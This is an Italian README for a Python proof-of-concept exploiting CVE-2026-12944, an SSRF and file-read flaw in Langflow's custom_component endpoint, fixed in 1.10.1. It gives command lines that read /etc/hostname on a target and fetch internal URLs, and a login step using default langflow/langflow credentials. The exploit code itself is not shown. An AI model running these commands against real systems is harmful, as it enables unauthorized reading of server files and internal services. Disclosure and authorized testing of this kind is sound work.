
PoC Python per CVE-2026-12944, una vulnerabilità SSRF e di lettura file tramite urllib in Langflow 1.10.0. Identifica le versioni ed effettua l'exploit dell'endpoint custom_component.
Langflow 1.10.0 SSRF tramite urllib
Langflow OSS ≤ 1.10.0 — esecuzione di codice tramite componente personalizzato via urllib.request / socket. La denylist dello scanner dei componenti ometteva quei moduli della stdlib. IBM ha corretto il problema nella 1.10.1.
IBM la classifica PR:L. Il sink di esecuzione è POST /api/v1/custom_component e quella chiamata richiede un cookie di sessione / bearer token. Ecco come questo PoC ne ottiene uno:
--test non autentica. Esegue solo GET /api/v1/version (più un GET / di connettività).--read / --fetch autenticano prima, poi inviano il componente in POST.LANGFLOW_AUTO_LOGIN. Lo script esegue e, se il JSON contiene , invia . Nessun username o password.GET /api/v1/auto_loginaccess_tokenAuthorization: Bearer …POST /api/v1/login con --uname / --password come application/x-www-form-urlencoded (username, password). I valori predefiniti standard sono langflow / langflow.POST /api/v1/custom_component con {"code": …} che chiama urllib.request.urlopen(...).--uname / --password esistono solo per il passo 4. Non vengono usati su un'installazione predefinita.
Solo per test autorizzati. Non eseguire questo strumento contro sistemi di cui non si è proprietari o per cui non si ha il permesso di eseguire test.
Requisiti: Python 3, solo libreria standard.
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
| Flag | Cosa fa |
|---|---|
-u / --url | URL base di Langflow (obbligatorio). http:// o https://. Un hostname senza schema viene provato prima come HTTPS, poi come HTTP. I redirect http→https mantengono il POST. I certificati TLS non validi vengono ritentati senza verifica; --insecure salta la verifica fin dall'inizio |
--test | Solo fingerprint: GET /api/v1/version (pubblico). Nessun login, nessun custom_component |
--read PATH | Attiva il gadget: lettura file:// di PATH tramite urllib.request (viene eseguita sul server) |
--fetch URL | SSRF: urllib.request.urlopen(URL) e stampa del body |
--uname / --password | Solo se AUTO_LOGIN è disattivato (valori predefiniti standard: langflow / langflow) |
--insecure | Salta la verifica TLS |
--timeout | Timeout HTTP in secondi (predefinito 30) |
Endpoint di --test: GET /api/v1/version. Un 200 con "version" / "main_version" stampa VERSION, poi IN_WINDOW se quella stringa è 1.0.0–1.10.0, poi PRESENT. Non contatta mai /api/v1/auto_login o /api/v1/custom_component.
--read / --fetch contattano GET /api/v1/auto_login (o POST /api/v1/login), poi POST /api/v1/custom_component.
Stdout: VERSION, IN_WINDOW, OUT_OF_WINDOW, PRESENT, VULNERABLE, NEED_AUTH, NOT_FOUND, NOT_VULNERABLE, READ.

CVE: CVE-2026-12944. Bollettino IBM; aggiornare alla 1.10.1.